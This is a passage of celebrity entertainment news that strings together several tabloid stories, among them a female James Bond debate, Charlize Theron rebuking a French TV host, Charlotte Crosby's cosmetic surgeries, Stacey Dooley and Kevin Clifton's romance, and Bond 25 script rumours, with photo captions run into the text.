Meanwhile, Zac - who appeared on the show with Charlize Thron, Seth Rogan and Matthew Broderick - also discussed whether there was a possibility of a sequel to 2017's hit movie The Greatest Showman. Zac, who played Phillip Carlyle in the film, told Graham: 'Hugh (Jackman) is working on all sorts of things including a one man show. Whats next? I dont know but I hope there is a sequel.' Extremely Wicked, Shocking Evil and Vile premieres in the US on Netflix and in select theaters on May 3. It will be available in UK cinemas and on Sky Cinema from May 3 and on NOW TV. The Graham Norton Show airs Friday 26th April at 10.35pm on BBC One. Bond girl Madeline Smith has supported re-casting James Bond as a woman when Daniel Craig exits the role after Bond 25 next year. The actress, 69, made a surprise appearance on Friday's This Morning to debate the issue, as she also gave an insight in her early days as a budding actress. Madeline famously played Italian agent Miss Caruso opposite Roger Moore in the 1973 classic Live And Let Die. Speaking out: Bond girl Madeline Smith has backed re-casting James Bond as a woman after Daniel Craig's exit, as she spoke about her early acting days on This Morning During the debate with Andy West, Madeline insisted she has no issue with a woman cast as Bond, as she said evolving times mean women can handle the bigger roles. She explained: 'I can't see any reason why ultimately why a woman a lady cannot play the James Bond character. 'It will change and it will evolve, sensitivity, sex. Times have changed women play a far greater role now, they've emerged from the darkness and the dark ages.' Views: The actress, 69, made a daytime appearance to debate the issue, after producer Barbara Broccoli branded a female bond 'a gimmick' Strange: Madeline also touched on her early days as an actress, revealing she was 'pushed on a bed and asked to play ''footsie'' Chic: The star looked far younger than her years as she sported a casual ensemble for the daytime TV appearance Beautiful: She famously appearance as Italian agent Miss Caruso in the 1973 classic Live And Let Die Madeline then gave insight into her early years as an actress, as she spent several years working in television before landing the Bond Girl role. She explained: 'I remember being pushed on a bed and being expected to play footsie. In the late 1960s and early 1970s definitely.' But she went onto praise her late co-star Roger Moore for his chivalrous nature as they filmed Live And Let Die. She added: 'On Live And Let Die it was wonderful, Roger was such a gentleman. 'Times are a changing and women now are behind cameras they're writing scripts, they're writing the new film this wonderful woman [Phoebe Waller-Bridge]. It will happen I'm saying it will happen.' Passionate: She played Roger Moore's first ever Bond Girl, and went onto praise the late actor for his chivalrous nature during filming Madeline played Miss Caruso in a small but memorable role as Moore's first Bond Girl, as she enjoyed a night of passion with the spy, before being rumbled by Miss Moneypenny. It comes after Thursday's epic Bond 25 launch confirmed that the film would be the final outing for lead Daniel Craig, his fifth film in the series. Producer Barbara Broccoli sparked the conversation of a Jane Bond, after she dismissed the idea of nothing more than a 'gimmick.' She said: ''I always feel that Bond is a male character, that is just a fact. We have to make movies about women and women's stories but we have to create female characters and not just for a gimmick turn a male character into a woman.' Charlize Theron scolded a French TV presenter in an awkward interview after he kissed her female interpreter without her permission. The 43-year-old Hollywood heavyweight looked astonished when Cyril Hanouna, 44, approached the interpreter, known as Nadia, and planted a kiss on her cheek shortly before she boldly stated: 'Maybe ask next time?' on Touche pas a mon poste. Her Long Shot co-star Seth Rogen, 37, who was also in the promotional interview, echoed her statement with a simple 'yes' before Cyril appeared awkward. Charlize has been blazing the promo trail with Seth and it was their turn for a round of appearances in France, which led to the tense moment on-screen. Internet users soon flooded Twitter with praise for the star, while the clip has gone viral and in some places garnered over 1.24 million views in a day Charlize was lauded for standing up for her female interpreter, named as Nadia, and have slammed Hanouna. Some stressed the awkward atmosphere on the show, while others let loose on Hanouna. Most also praised Theron for standing up to him. Enraged Twitter users wrote: 'Being an interpreter and a woman, I really appreciate what Charlize Theron said when the TV host kissed her interpreter out of the blue... Shocking: Charlize Theron scolded a French TV presenter in an awkward interview after he kissed her female interpreter without her permission Shocking: There had apparently been translation and communication problems from the very beginning of the interview, with Hanouna finally giving up and asking interpreters to make their way to the stars '@Cyrilhanouna kissed a girl, @CharlizeAfrica underligned that the girl didn't give her prior consent and all he does is asking the girl if she was titillated ("emoustillee"). No, she was disgusted, objectified and infantilized on TV by you, stupid clown.' There had apparently been translation and communication problems from the very beginning of the interview, with Hanouna finally giving up and asking interpreters to make their way to the stars. It has been reported that it is not the first time the show has been embroiled in scandal and accused of sexism. Alarming: The 43-year-old Hollywood heavyweight looked astonished when Cyril Hanouna, 44, approached the interpreter, known as Nadia, and planted a kiss on her cheek shortly before she boldly stated: 'Maybe ask next time?' on Touche pas a mon poste Shocker: Other incidents including a man kissing a woman's breasts without her consent which led to her filing a complaint for sexual assault, according to local media Other incidents including a man kissing a woman's breasts without her consent which led to her filing a complaint for sexual assault, according to local media. In 2017, a record number of complaints were garnered after Cyril posted a fake advert on a gay dating site before mocking respondents live on air. Using an effeminate voice, he tricked callers into revealing their sexual fantasies which culminated in one victim being left in 'a state of appalling distress'. Nearly 20,000 viewers complained about the segment, on the show which translates to meaning Don't touch my TV. Charlotte Crosby was putting on a loved-up display with boyfriend Joshua Ritchie on Friday, as they filmed scenes for her new reality series in the heart of Brazil. The ex-Geordie Shore star, 28, displayed her holiday tan in a pretty green playsuit as she enjoyed breakfast with her mum Letitia and pal Lauren. It comes after Charlotte recently sparked concern as she revealed a significantly smoother complexion in a social media snap, leading many fans to 'beg' her to stop having surgery. Cosy: Charlotte Crosby was putting on a loved-up display with boyfriend Joshua Ritchie on Friday, as they filmed scenes for her new reality series in the heart of Brazil Charlotte was the picture of happiness as she sweetly cuddled Joshua among the pretty Brazilian landscape. The Newcastle beauty was every inch the summer beauty in a gorgeous mint green frock, with her long blonde tresses styled into beachy waves. Tucking into a delicious breakfast, Charlotte also enjoyed a steamy smooch with her beau, as they filmed scenes for the third series of The Charlotte Show. Flawless: The ex-Geordie Shore star, 28, displayed her holiday tan in a pretty green mini playsuit as she enjoyed breakfast with her mum and pal Lauren New look: The Newcastle beauty was every inch the summer beauty with her long blonde tresses styled into beachy waves Get a room! Charlotte and Joshua were packing on the PDA as they enjoyed a relaxing meal together Playful: The pair were filming scenes for Charlotte's self-titled MTV series, as they enjoyed a romantic trip to Rio Worrying: It comes after Charlotte's surgically enhanced features sparked concern among fans, as they reportedly commented on a recent social media snap Shocking: The Mirror reported that fans 'begged' the star to 'stop the surgery', in comments which now seem to have been deleted Charlotte's outing comes after The Mirror reported her recent Instagram post was awash with Charlotte's loyal fans begging her to 'stop the surgery' after undergoing both a nose and boob job, as well as lip filler over the last three to four years. In the seemingly now-deleted comments, one follower is said to have written: 'Poor girl her face is badly swollen. Is it an allergy?' Another reportedly added: 'She should have stopped with the surgery, Botox & fillers a long time ago.' New face: Charlotte has spoke candidly about her various surgeries in the past and in 2016 she unveiled her new nose after a rhinoplasty procedure Cheeky smooch: The former Celebrity Big Brother enjoyed a slew of kisses with Joshua in the warm climes Energetic: The star was in high spirits as she chatted to her friend Lauren during the meal Charlotte has spoke candidly about her various surgeries in the past and in 2016 she unveiled her new nose after a rhinoplasty procedure. Speaking about her decision to go under the knife, the reality star opened up to Heat magazine about why it was so important to her. Charlotte admitted scrutiny from the Geordie Shore audiences drove her to have the surgery. Charlotte Crosby's surgeries over the years Nose job: In 2016, Charlotte unveiled her new nose after a rhinoplasty procedure. Speaking about her decision to go under the knife, the reality star opened up to Heat magazine about why it was so important to her. Charlotte admitted scrutiny from the show's audiences drove her to have the surgery. Surgeries: Charlotte has spoke candidly about her various surgeries in the past and in 2016 she unveiled her new nose after a rhinoplasty procedure (pictured before, in 2011, and after, in 2019) She told the publication: 'It's not like I can hide it. If I'd not been on TV, I'd never have got it done. 'I do think [my nose] caused a lack of confidence, and you always compare yourself to other people who are on TV as well.' Trolls: In October 2017, Charlotte confirmed she had undergone surgery to correct her 'uniboob' after she was body-shamed by vicious online trolls (pictured after her boob job in February 2018) Lip filler: Charlotte's lip size has dramatically changed since she first made her debut on Geordie Shore in 2011. During an interview on This Morning in 2018, she admitted she only gets them done once a year. She said: 'I get them done once a year, I had a big problem down the sides, but once a year thats it and I dont think theyre that bad.' Boob job: In October 2017, Charlotte confirmed she had undergone surgery to correct her 'uniboob' after she was body-shamed by vicious online trolls. Speaking to Heat magazine, the reality sensation - who suffers from a medical condition called congenital symmastia - admitted that she would also compare herself to other girls, leading her to undergo the corrective surgery. She confessed to the publication: 'My uni-boob made me feel under-confident. It (congenital symmastia) really limited what I could wear without people saying, "What the f***'s wrong with her boobs?"' Broken nose: In November, Charlotte revealed she had broke her nose in a horror accident whilst holidaying in Cape Town. The reality star shared pictures of her bruised and bloodied face on Instagram, sharing that she had cracked the bone. What does she say about her surgeries? Charlotte has spoken to MailOnline about her surgeries in the past, she said: 'I have no regrets over my surgery. I never went over the top. I'm very happy and feel a lot more confident since I had the correctional (boob job).' Confident: Charlotte has spoken to MailOnline about her surgeries in the past, she said: 'I have no regrets over my surgery. I never went over the top. I'm very happy.' (pictured before in 2011, left, and after, in April 2017) Advertisement Critical: Charlotte has faced backlash for her numerous plastic surgery procedures in the past, including nose and boob job, as well as lip fillers over the last three to four years Learning: The star also boosted her knowledge for the trip as she read a book on her hotel balcony Transformed: In October 2017, Charlotte confirmed she had undergone surgery to correct her 'uniboob' after she was bodyshamed by vicious online trolls She told the publication: 'It's not like I can hide it. If I'd not been on TV, I'd never have got it done. 'I do think [my nose] caused a lack of confidence, and you always compare yourself to other people who are on TV as well.' She added: 'You just think, "I hate it", especially on television. I think it'll make a big difference to my life in terms of getting photographed and always being on the telly, not having to worry about where to stand or what angle to go from.' Criticised: The star has also previously said that criticism from the Geordie Shore audiences motivated her to go under the knife It's returning! Charlotte was filming scenes for the third series of her reality show, and the picturesque backdrop proved an ideal setting for the scenes However, Charlotte did face backlash from the Loose Women panellists after Janet Street-Porter grilled her about the procedure in 2016. She said: 'Good luck to you, it's your choices, but what message does that send to teenage girls who watch your show, follow you on Twitter, Facebook and Instagram, who might think, "My nose has a lump in it but I haven't got 4,000 to change it?"' While during an appearance on Celebrity Juice later that year, show host Keith Lemon warned Charlotte: 'Don't go too far, because it's addictive.' To which the former Geordie Shore star replied with: 'Never!' Kevin Clifton has emerged for the first time since his new girlfriend Stacey Dooley confirmed their romance in an Instagram post in the early hours of Friday morning. The 36-year-old Strictly Come Dancing star was seen arriving in Margate with a host of crew members as they prepared for Friday night's live show. The duo have remained coy about their blossoming relationship ever since the news broke two weeks ago when the broadcast journalist's ex-boyfriend Sam Tucknott, 30, had ended their five-year relationship to be with the 'snake' dancer. Out he goes: Kevin Clifton has emerged for the first time since his new girlfriend Stacey Dooley confirmed their romance in an Instagram post in the early hours of Friday morning Stacey, 32, who won the 2018 series of the BBC ballroom competition with Kevin, looked happier than ever as she cuddled up to the professional dancer in a post shared on her Instagram stories. The pair have finally reunited after Stacey's work trip to Washington D.C., where she has been busy filming a new documentary. Beaming from ear-to-ear, Kevin and Stacey couldn't hide their delight as they made their romance Instagram official. Following the post, it was back to work as usual as for Kevin as he was headed to rehearsals for the show among the cast Strictly crew. Loved-up: Stacey appeared to confirm her romance with Kevin in the early hours of Friday morning to share the very first picture as a couple Work as usual: The 36-year-old Strictly Come Dancing star was seen arriving in Margate with a host of crew members as they prepared for Friday night's live show According to the Daily Mirror, he told the audience: 'In the last couple of years I've seen massive upheaval in my personal life and it hasn't always been easy. 'There have been a lot of things thrown at me. At times I've struggled. And the times I've struggled and I was in a bit of a rut I didn't know what to do.' Adding that he isn't 'the best at dealing with' negative publicity about his personal life and finds it 'difficult', the Strictly pro said it was thanks to producers of his dancing tour that he could be brought back to a place where things 'felt right' again. Pals: Stacey, 32, who won the 2018 series of the BBC ballroom competition with Kevin, looked happier than ever as she cuddled up to the professional dancer in a post shared on her Instagram stories Happier than ever: Kevin certainly looked unfazed by the scandal surrounding his romance As he held the Glitterball trophy they won together, Kevin then went on to say of his new love: 'And thanks to Miss Stacey Dooley, I can finally say I'm the Strictly champion after six years of trying. It's a miracle.' While he has been busy on tour, Stacey showed her support from a distance by liking his latest Instagram post from his tour. It was previously reported by The Sun that Stacey has been urged by friends to steer clear of him in order to protect her career. Moving on: A source told the publication: 'Stacey has plenty of work on at the moment and her agents dont want that to be effected in the wake of the scandal' Support network: Kevin clearly has plenty of friends on hand in the events of his dramas A source told the publication: 'Stacey has plenty of work on at the moment and her agents dont want that to be effected in the wake of the scandal. 'Theyve quietly suggested that the recent stories could be bad for her image and hope that she will listen to the advice. 'Stacey does what she wants at the end of the day but they think its best if she keeps a low profile and that means staying away from Kevin for now.' He has won a legion of fans with his portrayal of Superintendent Ted Hastings in the police procedural drama. But Line of Duty star Adrian Dunbar has revealed he is looking for a different line of work and would love to do a sitcom after numerous heavy-duty storylines in the drama. In an exclusive chat with MailOnline, the actor admitted he longs for a lighter role but loves the high-octane drama of Line of Duty - which is airing its fifth season, Goals: Line of Duty star Adrian Dunbar has revealed he is looking for a different line of work and would love to do a sitcom after numerous heavy-duty storylines in the drama Acclaimed: In an exclusive chat with MailOnline, the actor admitted he longs for a lighter role but loves the high-octane drama of Line of Duty - which is airing its fifth season (above as Superintendent Ted Hastings with co-stars Martin Compston and Vicky McClure) He said: 'I'd love to do a sitcom because it must be nice to go to work every day having to make people laugh. 'It's completely different doing all this heavy duty stuff with AC-12, DDC and UFOs!' Having said that, the 60-year-old actor is thrilled to be a key part of the hugely popular BBC bent coppers drama. He said: 'It's great at this stage of your career to get something like Line of Duty. Who'd have thought? I've never done a returning series before.' Success story: He said: 'I'd love to do a sitcom because it must be nice to go to work every day having to make people laugh' Gritty: Having said that, the 60-year-old actor is thrilled to be a key part of the hugely popular BBC bent coppers drama But having started his career in comedy, starring in and writing 1991 BAFTA nominated film Hear My Song, he wishes producers would remember he can be funny as well as serious. Multi-talented Adrian can sing too and performed songs with musician John Altman's jazz band at a Pizza Express showbar in Holborn, London, a few nights ago. It was while talking to the audience from the stage there that he revealed his comedy dreams. He would not reveal what happens next to his character in Line of Duty but laughed, 'It doesn't look good for Ted.' Line of Duty, which stars Martin Compston, Vicky McClure and Adrien, premiered in 2012 and became BBC Two's best-performing drama series in ten years with 4.1m viewers. DS Steve Arnott is transferred to the police anti-corruption unit after the death of a man in a mistaken shooting during a counter-terrorist operation. Strictly's Dr Ranj Singh has weighed in on Stacey Dooley's romance with dance partner Kevin Clifton after the documentarian appeared to confirm their relationship on Instagram. Speaking on FUBAR Radio's Access All Areas, the TV star insisted he was 'clueless' about a blossoming romance between the winning duo but wasn't surprised by the reports as contestants have to 'surrender' themselves to their partners. The ITV doctor, who was quizzed about Stacey and Kevin's relationship by hosts Lizzie Cundy and Stephen Leng, added that he's not surprised that the infamous 'curse' happens because of the time they spend together in rehearsals. Strictly: Dr Ranj Singh has weighed in on Stacey Dooley's romance with her dance partner Kevin Clifton in the wake of the presenter appearing to confirm their relationship on Instagram Asking about the latest Strictly romance between Stacey and Kevin, Dr Ranj shared: 'Did I know? No! The thing is, Im so clueless with this stuff. I find out after everyone else. 'You get very close to your partner because you do have to surrender yourself to your partner; professionally, physically Adding: 'Theres a power in that and Im not surprised it happens. Thats not to say I knew that it was happening.' The medical expert, who was partnered with Janette Manara, jokingly added: 'I mean, I fell in love with my partner. Shame shes married and straight!' 'Clueless': The TV star insisted he was 'clueless' about a blossoming romance between Kevin and Stacey (pictured above) Posing up a storm: Dr Ranj appeared on FUBAR Radio's Access All Areas alongside hosts Lizzie Cundy (L) and Stephen Leng (R) His comments come after Stacey appeared to confirm her romance with Kevin in the early hours of Friday morning as she took to Instagram to share their first picture as a couple. The duo have remained coy about their blossoming relationship ever since the news broke two weeks ago when the broadcast journalist's ex-boyfriend Sam Tucknott, 30, had ended their five-year relationship to be with the 'snake' dancer, 36. The Strictly Come Dancing champion, 32, who won the 2018 series of the BBC ballroom competition with Kevin, looked happier than ever as she cuddled up to the professional dancer in a post shared on her Instagram stories. The pair have finally reunited after Stacey's work trip to Washington D.C., where she has been busy filming a new documentary. Candid: Last week, Kevin broke his silence about his romance with Stacey as he paid a gushing tribute to her during the opening night of his Burn The Floor show Beaming from ear-to-ear, Kevin and Stacey couldn't hide their delight as they made their romance Instagram official. The TV presenter was dressed down in a loose black knit, distressed jeans and black heels, while Kevin rocked a casual jumper and trainers. Last week, Kevin broke his silence about his romance with Stacey as he paid a gushing tribute to her during the opening night of his Burn The Floor show. According to the Daily Mirror, he told the audience: 'In the last couple of years I've seen massive upheaval in my personal life and it hasn't always been easy. Gushing: Addressing the audience, Kevin said of new love: 'And thanks to Miss Stacey Dooley, I can finally say I'm the Strictly champion after six years of trying. It's a miracle' 'There have been a lot of things thrown at me. At times I've struggled. And the times I've struggled and I was in a bit of a rut I didn't know what to do.' Adding that he isn't 'the best at dealing with' negative publicity about his personal life and finds it 'difficult', the Strictly pro said it was thanks to producers of his dancing tour that he could be brought back to a place where things 'felt right' again. As he held the Glitterball trophy they won together, Kevin then went on to say of his new love: 'And thanks to Miss Stacey Dooley, I can finally say I'm the Strictly champion after six years of trying. It's a miracle.' They often bicker while presenting the ITV daytime show together. And it was business as usual as Eamonn Holmes was abruptly told off by wife Ruth Langsford for downing a tinned cocktail live on air. The Irish host, 59, was lambasted by his other half, also 59, during a segment about the cheap and cheerful alcoholic drinks, which came in the wake of Labour's Shadow Home Secretary Dianne Abbott being caught sipping a canned mojito on the train. Bottoms up: Eamonn Holmes was abruptly told off by wife Ruth Langsford for downing a tinned cocktail live on This Morning The married couple had joined presenter Alice Beer, 53, who showcased a number of tinned cocktails from various retailers. But as Alice offered the pair a taste of the 2 M&S mojito favoured by the politician - who came under fire for illegally drinking alcohol on a London train - it seemed that Eamonn got a little carried away. Picking up his tin, the star then proceeded to chug down the refreshing liquid, while his wife carefully sipped her drink. Spotting Eamonn's actions, Alice exclaimed: 'Is he drinking that down in one? Stop!' Told off: The Irish host, 59, was lambasted by his other half, also 59, during a segment about the cheap and cheerful alcoholic drinks Happy hour: The married couple had joined presenter Alice Beer, 53, who showcased a number of tinned cocktails from various retailers However, it was Ruth that soon put Eamonn in his place and swiftly berated her husband for downing the drink. Turning to her husband and pointing a stern finger, she said: 'No don't, no! 'You know what you're like. You show off and then you'll have a headache! And then you'll be complaining to me! 'Because he doesn't understand drink, he doesn't.' Eamonn then chimed in: 'Unlike Ruth, who's totally used to it.' Very amused: Viewers tuning into the episode found the whole exchange hilarious, with several taking to Twitter to comment on the presenter's daytime drinking To which the Loose Women anchor replied: 'I'm very used to it. I'm measured and I've had many years build up.' Eamonn then held up his drink and argued: 'But that's like a soft drink to me', to which Ruth snapped back: 'Yes, but that's the danger!' Viewers tuning into the episode found the whole exchange hilarious, with several taking to Twitter to comment on the presenter's daytime drinking. 'OMG EAMONN JUST CHUGGED THE WHOLE BLOOMING MOJITO AT 12:00 ON A FRIDAY. What. A. Mood,' wrote one fan. While another exclaimed: 'Down it, Down it... Gwan Eamonn #ThisMorning.' Warning: 'You know what you're like. You show off and then you'll have a headache! And then you'll be complaining to me!' With another adding: 'Eamonn chugging that mojito in a can on #ThisMorning and getting told off by Ruth because hell get a headache is absolute marriage goals.' The segment came came after Diane Abbott was forced to apologise 'sincerely' for drinking a canned M&S Mojito on the London Overground. A photograph taken of the Labour frontbencher shows her sipping out of the 2 canned cocktail while on a train through her north London consistency last week. Transport for London introduced an alcohol ban on all public transport in the capital in 2008. Diane said she was 'sincerely sorry' for drinking the Marks and Spencer cocktail after the photo was published. Caught out: The segment came came after Diane Abbott was forced to apologise 'sincerely' for drinking a canned M&S Mojito on the London Overground James Bond 25 is reportedly yet to have a completed script or title despite the official cast and crew line-up finally being confirmed. It is alleged by Page Six that there is already trouble behind the scenes of the hotly anticipated movie as the cast are raring to film, but don't appear to have a solid script to work from. With only a brief synopsis of the plot unveiled so far, a source has bemused that 'the rest of the script is still being worked over' and has also shared concerns over Daniel Craig, 51, potentially quitting due to his 'old age' if they wait any longer. Scroll down for video 'Still being worked over':James Bond 25 is reportedly yet to have a completed script or title despite the official cast and crew line-up finally being confirmed A day after the official cast and crew, including writer Phoebe Waller-Bridge, were announced during a live Q&A at Goldeneye - Ian Fleming's estate on Oracabessa bay in Jamaica, it has been revealed by the source: 'They dont have a script, theres no title, it is nearly five years since the last Bond. It starts with a retired Bond living in wedded bliss, but the rest of the script is still being worked over. 'They rolled out the cast this week at Ian Flemings villa in Jamaica because if they wait much longer Daniel Craig, who is 51, will be too old, and then he really wont do the film.' Speaking further of Craig's behind-the-scenes relationship with crew, it was continued: 'Everyone on the production side detests working with Daniel, hes so difficult and makes things impossible' before adding that Bond producer Barbara Broccoli 'thinks he walks on water, and only her opinion matters.' Claims: It is alleged that there is already trouble behind the scenes as the cast don't appear to have a script to work from. (L-R) Lea Seydoux, Cary Fukunaga, (director) Ana de Armas, Daniel, Naomie Harris and Lashana Lynch 'He won't do the film': The source has also shared concerns over Daniel Craig, 51, potentially quitting due to his 'old age' if they wait any longer (Pictured in 2006's Casino Royale) MailOnline has contacted representatives for Bond 25 for further comment. On Thursday it was confirmed that Phoebe Waller-Bridge has been brought on board to write for the new Bond movie. Daniel has had somewhat of a chequered history with the popular spy movie franchise after starring in Casino Royale (2006), Quantum of Solace (2008), Skyfall (2012) and Spectre (2015). In 2015, he sensationally revealed 'I would rather slash my wrists than play James Bond again'. The comments, which came after the release of the movie Spectre, were later cleared up in an interview with American talk show host Stephen Colbert in 2017. While speaking on The Late Show with Stephen Colbert Daniel said: 'It was two days after I finished shooting the last movie. I went straight to an interview and someone said would you do another one? Oh no! A day after the cast and crew were announced during a live Q&A at Goldeneye - Ian Fleming's estate on Oracabessa bay in Jamaica, it has been revealed that the script is still unavailable despite nearly five years since the last movie 'He's difficult': The source spoke further of Craig's behind-the-scenes relationship with crew, claiming they detested working with him, but he can reportedly do no wrong in producer Barbara Broccoli's eyes 'And I went 'no' and instead of saying something with style and grace I gave a really stupid answer.' The film - scheduled for release on April 8, 2020 - is slated to be hunky Daniel's fifth and final film in the franchise, with speculation rife over who will step into the Secret Service agent's suit. In the snippet of information currently available, in Bond 25, the agent has left active service and is enjoying a tranquil life in Jamaica but his peace is short-lived when his old friend Felix from the CIA turns up asking for help. The mission to rescue a kidnapped scientist turns out to be far more treacherous than expected, leading Bond onto the trail of a mysterious villain armed with dangerous new technology. Controversial: Daniel has had somewhat of a chequered history with the popular spy movie franchise after revealing he would rather 'slash his wrists than play James Bond again' Talent: On Thursday it was confirmed that Phoebe Waller-Bridge has been brought on board to write for the new Bond movie Cary Cary Joji Fukunaga stepped in as director when original director Danny Boyle dropped out over 'creative differences'. It was reported that Oscar-winning director Danny wanted to kill off the iconic agent. Oscar winner and Bohemian Rhapsody star Rami Malek has been brought on board to play the villain in Bond 25. Also joining the cast are Dali Benssalah, Lashana Lynch, Ana De Armas as Paloma, David Dencik and Billy Magnussen. Ralph Fiennes (M), Lea Seydoux (Dr Madeleine Swann), Ben Whishaw (Q), Rory Kinnear (Bill Tanner) and Jeffrey Wright (Felix Leiter) will all return for Bond 25. Exciting! Oscar winner and Bohemian Rhapsody star Rami Malek has been brought on board to play the villain in Bond 25 Jack Fincham has moved on from Dani Dyer as he reportedly slid into TOWIE star Chloe Brockett's Instagram DMs. As their alleged flirtation has come to light, it has been revealed Chloe was cheering Jack and Dani on to win Love Island last summer. However, Jack was said to have got cold feet soon after reportedly plucking up the courage to ask TOWIE newcomer Chloe on a date. Moving on! Jack Fincham has moved on from Dani Dyer as he reportedly slid into TOWIE star Chloe Brockett's Instagram DMs (pictured in Jan 2019) A source told The Sun: 'He slid into her DMs and asked her out. Shes really excited about it and has been telling people. 'Unfortunately Jack soon got cold feet as he felt it was too soon after Dani and called off the date. But thats not to say they never will go on a date.' MailOnline has approached Jack Fincham and Chloe Brockett's representatives for comment. Awkward: As their alleged flirtation has come to light, it has been revealed Chloe was cheering Jack and Dani on to win Love Island last summer No luck: However, Jack was said to have got cold feet soon after plucking up the courage to ask TOWIE newcomer Chloe on a date In awkward historic tweets, Chloe showed her support for Jack and Dani's relationship when they fell in love on our screens on the reality television show that made them famous. 'Oh no :(( don't argue jack and Dani :((,' she wrote while Love Island was gluing the British nation to their televisions. 'I actually love Dani she's so fabulous,' she added. Support: In awkward historic tweets, Chloe showed her support for Jack and Dani's relationship when they fell on love on Love Island over the summer It comes after Dani, 22, appeared to move on from Jack after she and stockbroker Sam, 23, enjoyed a very public kiss when they were reunited following her split from her Love Island ex earlier in April. Sparks flew between Jack and Dani in the Mallorcan dreamy villa which formed the idyllic backdrop for reality television series Love Island. They did split for the first time before the Love Island Christmas reunion but within days the couple got back together to give their romance a second chance. However, their romance wasn't meant to last as Jack announced their second break up via Instagram stories earlier in April. Heartbreak: Sparks flew between Jack and Dani in the Mallorcan dreamy villa which formed the idyllic backdrop for reality television series Love Island The hunk ruled out a reunion with his former flame when he candidly discussed their split during an interview on Good Morning Britain. Soon after Dani's new romance came to light, Jack deleted all pictures of his ex from his Instagram feed. It comes after Dani's new beau Sammy Kimmence has taken a swipe at her ex-beau Jack Fincham in a thinly-veiled comment on Instagram. Sam made the apparent dig at Jack in the caption of a photograph of himself cuddling his stunning girlfriend on a recent night out. The caption read: 'Boomerang if things meant to find there way they will trust me', before changing the writing twice, from 'Me and my Dan' to 'My day one'. She is about to welcome her second child with husband Charlie Thomson. And Alex Jones said an emotional goodbye to the One Show on Friday as she filmed her final scenes with co-host Shane Richie before heading on maternity leave. The presenter, 42, showed off her burgeoning baby bump in a vibrant floral dress as she stood outside the BBC Studios in London for the filming of her final show. Goodbye: Alex Jones said an emotional goodbye to the One Show on Friday as she filmed her final show with co-host Shane Richie before heading on maternity leave Alex paired her stunning dress with a simple black leather jacket and wore cream healed boots for the occasion. The expectant mother was seen filming scenes with actor-turned-musician Kiefer Sutherland, who had appeared on the show to discuss his album Reckless and Me, with a large black and yellow remote. It was revealed earlier on Friday that Strictly champ Stacey Dooley will cover for Alex on The One Show throughout her maternity leave. Cover: It was revealed earlier on Friday that Strictly champ Stacey Dooley will cover for Alex Jones on the One Show throughout her maternity leave (Pictured on the One Show in April) Stunning: The presenter, 42, showed off her burgeoning baby bump in a vibrant floral dress as she stood outside the BBC Studios in London for the filming of her final show Glam: Alex teamed her spring look with a pair of stylish tan cowboy boots Flower power: Alex was pictured clutching a bag of flowers which she had been gifted after her last show The 32-year-old will join the likes of fellow guest hosts, Emma Willis and Mel Giedroyc, as well as Angellica Bell, Angela Scanlon and Michelle Ackerley. The news comes a day after Stacey appeared to finally confirm her relationship with her Strictly Come Dancing partner, Kevin Clifton. Matt Baker will continue to be covered by guest hosts on Fridays with the likes of Shane Richie, Joe Lycett, Rylan, Patrick Kielty, Amol Rajan and Ore Oduba. Alex shared an Instagram picture of herself wearing an Aztec print bikini on her penultimate day at work, writing that she is 'ready to pop.' Final: The expectant mother was seen filming scenes with actor-turned-musician Kiefer Sutherland, who had appeared on the show to discuss his album Reckless and Me Glam: Alex paired her stunning dress with a simple black leather jacket and wore cream healed boots for the occasion (pictured right, guest Kiefer Sutherland) All smiles: The mother-of-one wore her brunette tresses in glamorous loose waves Covering up: She avoided the evening chill with a black leather jacket draped over her shoulders She said on Friday: 'I know The One Show will be in very capable hands while I'm on maternity leave and good luck to all the guest presenters. 'I hope they have as much fun as I do on the show. I'll be back on the sofa in the autumn, but in the meantime, I plan on watching from my own sofa with little Teddy and the newest addition!' She and husband Charlie are also parents to Teddy, who is two-years-old. Sandy Smith, The One Show, Executive Editor said: 'I am looking forward to welcoming our guest hosts to The One Show who I am sure will do a brilliant job hosting and keeping Alex's seat warm for her return.' Expecting: Alex shared an Instagram picture of herself wearing an Aztec print bikini on her penultimate day at work, writing that she is 'ready to pop' Rocker: Keifer Sutherland performed on The One Show wearing a pair of dark shades Loving life: Alex was joined by Shane Ritchie as she had a dance while listening to Keifer Having a blast: The pair appeared in high spirits as they watched the performance Singing: Keifer wore a grey military style jacket with gold buttons Ali Larter showed her support for the Communities in Schools Los Angeles charity at their 12th annual event on Thursday night. The actress, 43, donned a little black dress and a bold red lip to the event which took place in Downtown Los Angeles. The mother-of-two accessorized with black strappy heels and a pair of red and green dangly droplet earrings. Also with her was her longtime friend Allison De Neufville, who looked like she could be a sister. Mom's got style: Larter opted for the classic little black dress look for the gala Gal pals: Larter snaps a photo with friend and member of the CISLA host committee, Allison de Neufville She wore her blonde locks straight and finished off the look with rose gold eye shadow and light pink blush. The Varsity blues actress has two school-age children, Vivienne, aged four, and Theodore, aged eight, with her husband, actor and comedian Hayes MacArthur. But they were not pictured. Going for bold: Ali wore her blonde locks straight and finished off the look with rose gold eye shadow and light pink blush Notable guests included Sasha Alexander, Andrea Savage, Lauren Wooden and Inara George, and Elaine Wynn. Tickets to the event were sold for up to $25,000 for a table and as little as $500 for an individual ticket. The April 25th event honored three outstanding women: Deborah Marcus, the Executive Director of Communities In Schools LA, Hilda L. Solis, the Los Angeles County Supervisor and Elaine P. Wynn from the Elaine P. Wynn & Wynn Family Foundation. Community: Larter poses with LA County Supervisor and guest of honor, Hilda Solis Communities In Schools is the nation's leading high school dropout prevention program. Their mission is to surround students with a community of support, empower them to be able to stay in school and in effect, help them achieve in life. In Los Angeles alone, 84 percent of students qualify for free or reduced-price lunches. According to their website, the Communities in Schools Los Angeles chapter serves 9,000 students in 8 schools. It appears Love & Hip Hop star Brittney Taylor is gearing up to file a lawsuit against co-star Remy Ma in connection to their recent alleged altercation. Taylor filed legal documents this week asking Irving Plaza reps and the New York Police Department to hold on to any potential evidence that includes video, photographs and investigative reports, according to TMZ. Taylor accused the rapper of punching her in the eye during a benefit show at the venue in New York City April 16. The latest: Brittney Taylor filed legal documents asking Irving Plaza and NYPD to hold on to all video, photographs and investigative reports in connection to her alleged assault by Remy Ma It all reportedly went down in the green room in the backstage area. Taylor claimed the incident was a misunderstanding involving Ma's stepdaughter Dejanae, and that she defended her stepdaughter from an abusive man who was beating her up during spring break in Miami, as reported by the Atlanta Black Star. She maintains Ma appeared to get defensive and said, 'That's not what I heard,' and proceeded to punch her in the face, which left a shiner on her right eye. Damage: Taylor took to Instagram to show off the shiner she received during the alleged attack Taylor said she sought medical treatment at Mount Sinai Hospital over her injuries, but a source told Page Six that she didn't 